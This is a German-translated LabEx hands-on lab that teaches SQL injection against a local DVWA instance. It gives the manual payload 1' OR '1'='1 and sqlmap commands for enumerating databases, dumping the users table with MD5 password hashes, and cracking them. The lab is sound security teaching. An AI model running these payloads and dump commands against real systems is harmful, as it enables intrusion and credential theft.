LabEx
AnmeldenKostenlos beitreten

SQL-Injection mit sqlmap ausnutzen

Beginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie SQL-Injection-Schwachstellen mit sqlmap ausnutzen können. sqlmap ist ein automatisiertes Tool zur SQL-Injection und zur Übernahme von Datenbanken. Sie üben das Installieren von sqlmap, das Konfigurieren einer anfälligen Webanwendung (DVWA) und das Durchführen verschiedener SQL-Injection-Angriffe, um sensible Daten zu extrahieren.

Das Lab demonstriert praktische Techniken zur Identifizierung von Einfügungspunkten, zur Ausführung von Datenbankabfragen und zur Analyse der extrahierten Informationen. Durch diese praktische Übung erwerben Sie essentielle Fähigkeiten sowohl für die Angriffssicherheitstests als auch für die defensive Schwachstellenbewertung.

Skills Graph

Installieren von sqlmap

In diesem Schritt installieren Sie sqlmap, ein beliebtes Open-Source-Penetration-Testing-Tool zur Erkennung und Ausnutzung von SQL-Injection-Schwachstellen. SQL-Injection ist eine häufige Schwachstelle in der Web-Sicherheit, die Angreifern ermöglicht, in Datenbankabfragen einzugreifen. sqlmap automatisiert den Prozess der Erkennung und Ausnutzung dieser Schwachstellen.

sqlmap ist in Python geschrieben, daher verwenden wir Python's Paketmanager pip, um es zu installieren. pip ist ein Tool, das mit Python kommt und Ihnen hilft, zusätzliche Python-Pakete zu installieren und zu verwalten. Befolgen Sie diese Schritte sorgfältig:

  1. Stellen Sie zunächst sicher, dass Sie sich im Standardarbeitsverzeichnis befinden. Dies ist wichtig, da es Ihre Projektdateien organisiert:
cd ~/project
  1. Aktualisieren Sie pip auf die neueste Version. Ein aktuelles pip gewährleistet, dass Sie die neuesten Versionen von Paketen installieren können und Kompatibilitätsprobleme vermeiden:
pip install --upgrade pip
  1. Installieren Sie sqlmap mit pip. Dieser Befehl lädt sqlmap und alle seine Abhängigkeiten aus dem Python Package Index (PyPI) herunter:
pip install sqlmap
  1. Überprüfen Sie die Installation, indem Sie die Version prüfen. Dies bestätigt, dass sqlmap richtig installiert ist und zeigt Ihnen, welche Version Sie haben:
sqlmap --version

Sie sollten eine Ausgabe ähnlich der folgenden sehen:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x

Dies bestätigt, dass sqlmap erfolgreich installiert wurde. Das Tool ist global in Ihrem System verfügbar, da pip Pakete in die Python-Umgebung des Benutzers installiert. Die rechtliche Warnung erinnert Sie daran, dass sqlmap nur auf Systemen verwendet werden sollte, für deren Testen Sie die Erlaubnis haben.

Wichtige Punkte für Anfänger:

  • pip behandelt automatisch das Herunterladen und Installieren von Python-Paketen
  • Die Option --upgrade aktualisiert pip selbst auf die neueste Version
  • sqlmap wird im site-packages-Verzeichnis von Python installiert, in dem alle Python-Pakete gespeichert sind
  • Die Option --version ist eine Standardmethode, um die Installation bei vielen Befehlszeilentools zu überprüfen
  • Die Ausgabe zeigt die Versionsnummer von sqlmap und wichtige rechtliche Informationen zur korrekten Verwendung

Einrichten einer anfälligen Webanwendung

In diesem Schritt richten Sie eine absichtlich anfällige Webanwendung namens "Damn Vulnerable Web Application" (DVWA) ein, die SQL-Injection-Schwachstellen enthält. Dies dient als unsere Testumgebung für das Üben von SQL-Injection-Techniken mit sqlmap. DVWA ist speziell für Sicherheitsexperten und Studenten entwickelt, um in einer sicheren und legalen Umgebung über Web-Schwachstellen zu lernen.

  1. Stellen Sie zunächst sicher, dass Sie sich im richtigen Verzeichnis befinden. Das Verzeichnis ~/project ist der Ort, an dem wir alle unsere Lab-Dateien speichern:
cd ~/project
  1. Klonen Sie das DVWA-Repository von GitHub. Dieser Befehl lädt alle Anwendungsdateien auf Ihren lokalen Computer herunter:
git clone https://github.com/digininja/DVWA.git
  1. Navigieren Sie in das DVWA-Verzeichnis. Hier werden alle Anwendungsdateien nach dem Klonen gespeichert:
cd DVWA
  1. Starten Sie den eingebauten PHP-Webserver. Wir verwenden Port 8000, da er in der Regel verfügbar ist und nicht mit anderen Diensten kollidiert. 0.0.0.0 bedeutet, dass der Server Verbindungen von jeder Netzwerkschnittstelle akzeptiert:
php -S 0.0.0.0:8000

  1. Öffnen Sie einen neuen Terminal-Tab (klicken Sie mit der rechten Maustaste auf das Terminal und wählen Sie "Neuer Tab"), während der Server weiterhin läuft. Dies ermöglicht es Ihnen, weiterzuarbeiten, während der Webserver aktiv bleibt.

  2. Überprüfen Sie im neuen Tab, ob der Server ordnungsgemäß läuft. Der curl-Befehl ruft den Inhalt der Startseite ab, um zu bestätigen, dass die Anwendung antwortet:

curl http://localhost:8000

Sie sollten eine HTML-Ausgabe sehen, die "Damn Vulnerable Web Application (DVWA)" enthält.

Für Anfänger, die die Komponenten verstehen möchten:

  • DVWA ist eine PHP/MySQL-Webanwendung, die speziell mit Sicherheitsschwachstellen für Lernzwecke entwickelt wurde
  • Der eingebaute PHP-Server (php -S) ist eine einfache Möglichkeit, PHP-Anwendungen während der Entwicklung auszuführen
  • Port 8000 ist ein üblicher alternativer Port für Entwicklungsserver, wenn Port 80 nicht verfügbar ist
  • Die Anwendung ist in Ihrem Browser unter http://localhost:8000 erreichbar

Hinweis: Lassen Sie den Server im ersten Terminal-Tab während des gesamten Labs laufen. Alle folgenden Schritte verwenden diese anfällige Anwendung. Wenn Sie diesen Tab versehentlich schließen, müssen Sie den Server neu starten, indem Sie Schritt 4 wiederholen.

Finden eines Einspritzpunktes

In diesem Schritt lernen wir, wie man eine grundlegende SQL-Injection-Schwachstelle in der DVWA (Damn Vulnerable Web Application) identifiziert. Dies ist ein entscheidender erster Schritt, bevor wir automatisierte Tools wie sqlmap verwenden, da wir manuell feststellen müssen, wo die Schwachstelle besteht.

  1. Stellen Sie zunächst sicher, dass der DVWA-Server noch läuft (aus Schritt 2). Wenn nicht, starten Sie ihn erneut:
cd ~/project/DVWA && php -S 0.0.0.0:8000

Dieser Befehl startet einen PHP-Webserver, der DVWA auf Port 8000 ausführt.

  1. Öffnen Sie die DVWA in Ihrem Browser, indem Sie folgende Adresse besuchen:
http://localhost:8000
  1. Melden Sie sich mit diesen Anmeldeinformationen an:
Benutzername: admin
Passwort: password

Dies sind die Standardanmeldeinformationen, die von DVWA zu Testzwecken bereitgestellt werden.

  1. Setzen Sie die Sicherheitsstufe auf "niedrig" (linkes Menü: DVWA Security -> auf Niedrig setzen -> Absenden)
    DVWA hat verschiedene Sicherheitsstufen - wir verwenden "niedrig", um grundlegende Schwachstellen ohne Schutzmechanismen zu demonstrieren.

  2. Navigieren Sie im linken Menü zu "SQL Injection"
    Hier werden wir auf SQL-Injection-Schwachstellen testen.

  3. Testen Sie auf SQL-Injection, indem Sie Folgendes in das Feld "User ID" eingeben:

1' OR '1'='1

Dies ist eine klassische SQL-Injection-Testzeichenfolge. Lassen Sie uns sie analysieren:

  • Das einfache Anführungszeichen (') schließt die ursprüngliche Abfrage ab
  • OR '1'='1' fügt eine Bedingung hinzu, die immer wahr ist
  • Zusammen manipulieren sie die SQL-Abfrage, um alle Datensätze zurückzugeben
  1. Klicken Sie auf "Absenden". Sie sollten alle Benutzerdatensätze zurückerhalten, was auf eine erfolgreiche Einspritzung hinweist.
    Wenn Sie mehr Daten als erwartet sehen (alle Benutzer anstelle von nur einem), bestätigt dies, dass die Einspritzung funktioniert hat.

Wichtige Konzepte für Anfänger:

  • SQL-Injection tritt auf, wenn Benutzereingaben direkt in Datenbankabfragen aufgenommen werden, ohne dass eine ordnungsgemäße Bereinigung erfolgt
  • Das einfache Anführungszeichen (') ist ein häufiges Zeichen, das verwendet wird, um aus der beabsichtigten SQL-Abfragesyntax auszubrechen
  • 'OR '1'='1' ist eine grundlegende Test-Payload, die dies ausnutzt, indem sie eine Bedingung schafft, die immer wahr ist
  • Die "niedrige" Sicherheitsstufe entfernt Schutzmechanismen, damit wir uns auf das Lernen der Schwachstelle konzentrieren können

Dieser erfolgreiche Test zeigt, dass der Parameter "User ID" anfällig für SQL-Injection ist. Im nächsten Schritt werden wir diesen bestätigten Einspritzpunkt mit sqlmap für eine fortgeschrittenere Ausnutzung nutzen. Denken Sie daran, dass das manuelle Finden von Einspritzpunkten hilft, zu verstehen, wie automatisierte Tools hinter den Kulissen funktionieren.

Extrahieren von Daten mit sqlmap

In diesem Schritt verwenden Sie sqlmap, ein automatisiertes SQL-Injection-Tool, um die Schwachstelle auszunutzen, die wir zuvor identifiziert haben. SQL-Injection ermöglicht es Angreifern, direkt mit einer Datenbank zu interagieren, und sqlmap hilft, diesen Prozess zu automatisieren, indem es Parameter testet und Informationen extrahiert.

  1. Stellen Sie zunächst sicher, dass Sie sich im Projektverzeichnis befinden, in dem wir alle Befehle ausführen werden:
cd ~/project
  1. Führen Sie sqlmap gegen die anfällige Seite aus. Der Parameter --cookie ist hier von entscheidender Bedeutung, da DVWA eine Authentifizierung erfordert. Ersetzen Sie <PHPSESSID> durch den Cookie-Wert, den Sie beim Anmelden bei DVWA erhalten haben:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch

Das Flag --batch teilt sqlmap mit, die Standardoptionen automatisch zu verwenden, was für Anfänger, die das Tool lernen, hilfreich ist.

  1. Wenn sqlmap Sie fragt, ob Sie die Sitzung speichern möchten, geben Sie "Y" ein und drücken Sie die Eingabetaste. Dies ermöglicht es Ihnen, den Scan später fortzusetzen, wenn erforderlich.

  2. Um herauszufinden, welche Datenbanken auf dem Server vorhanden sind, verwenden wir das Flag --dbs, das für "Datenbanken" steht:

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
  1. Die Ausgabe zeigt die verfügbaren Datenbanken an. Sie sollten zwei Datenbanken aufgeführt sehen:
available databases [2]:
[*] dvwa
[*] information_schema

dvwa ist unsere Ziel-Datenbank, während information_schema eine Standard-MySQL-Datenbank ist, die Metadaten enthält.

  1. Lassen Sie uns nun die Tabellen in der dvwa-Datenbank untersuchen. Der Parameter -D gibt den Datenbanknamen an, und --tables listet deren Inhalt auf:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch

Erläuterung der wichtigsten Parameter:

  • --cookie: Enthält Ihre Sitzungsanmeldeinformationen, um den authentifizierten Zugang aufrechtzuerhalten
  • --batch: Führt sqlmap im nicht-interaktiven Modus mit Standardauswahlen aus
  • --dbs: Entdeckt die verfügbaren Datenbanknamen auf dem Server
  • -D: Wählt eine bestimmte Datenbank aus, die untersucht werden soll
  • --tables: Ruft die Liste der Tabellen in der ausgewählten Datenbank ab

Analyse der extrahierten Daten

In diesem Schritt werden wir die sensiblen Datenbankinformationen untersuchen, die sqlmap erfolgreich durch SQL-Injection extrahiert hat. Dies zeigt die reale Auswirkung von SQL-Injection-Schwachstellen, indem es genau aufzeigt, welche Daten Angreifer zugreifen können.

  1. Zunächst holen wir alle Daten aus der Tabelle 'users' in der DVWA-Datenbank ab. Dieser Befehl baut auf dem auf, was wir zuvor getan haben, aber jetzt zielen wir speziell auf die Tabelle 'users' ab, um Zugangsdateninformationen zu sehen (ersetzen Sie durch Ihren Sitzungscookie):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch

Der Parameter -D dvwa gibt die Datenbank an, -T users zielt auf die Tabelle 'users' ab und --dump holt alle Inhalte dieser Tabelle ab.

  1. Die Ausgabe zeigt die sensiblen Benutzerinformationen, die in der Datenbank gespeichert sind:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user    | password                         | avatar    | last_login | failed_login        |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1       | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL       | 0                   |
| 2       | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL       | 0                   |
| 3       | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg  | NULL       | 0                   |
| 4       | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL       | 0                   |
| 5       | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL       | 0                   |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+

Beachten Sie, dass die Spalte 'password' MD5-Hashes anstelle von Klartext-Passwörtern enthält. Obwohl dies besser ist als die Speicherung von Rohpasswörtern, wird MD5 als kryptografisch gebrochen und anfällig für Rainbow-Tabelle-Angriffe angesehen.

  1. Sie können versuchen, diese Hashes mit Online-Tools wie CrackStation zu knacken, indem Sie die Hash-Werte kopieren und einfügen. Dies zeigt, wie schwache Hash-Algorithmen umgekehrt werden können, um die ursprünglichen Passwörter aufzudecken.

  2. Um die vollständige Datenbankstruktur zu verstehen, können wir ihr Schema abrufen:

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch

Das Flag --schema zeigt alle Tabellen und ihre Spaltenstrukturen an, was Angreifern eine Karte der gesamten Datenbank gibt. Dies ist äußerst wertvolle Information für eine weitere Ausnutzung.

Wichtige Erkenntnisse für Anfänger:

  • Der Parameter --dump extrahiert alle Daten aus einer angegebenen Tabelle.
  • MD5-Hashes können oft mit vorkomputierten Rainbow-Tabellen geknackt werden.
  • Informationen über das Datenbankschema helfen Angreifern, die Datenstruktur zu verstehen.
  • Diese Übung zeigt, wie eine einzelne SQL-Injection-Schwachstelle zu einem vollständigen Datenbankkompromiss führen kann.
  • Verwenden Sie immer starke, gesalzene Hash-Algorithmen wie bcrypt zur Passwortspeicherung.

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie sqlmap für SQL-Injection-Tests installieren und nutzen. Der Prozess begann mit der Einrichtung der Umgebung über die Installation mittels pip und der Überprüfung der Version. Das Lab hat Sie durch die Bereitstellung von DVWA als anfälliges Ziel und die Einrichtung eines lokalen Testservers geführt.

Sie haben das Identifizieren von SQL-Injection-Schwachstellen und das Extrahieren von Daten mit den automatisierten Tools von sqlmap geübt. Die Übungen haben wesentliche Befehlszeilenoperationen abgedeckt und gleichzeitig praktische Cybersicherheitstesttechniken zur Erkennung von Datenbankschwachstellen demonstriert.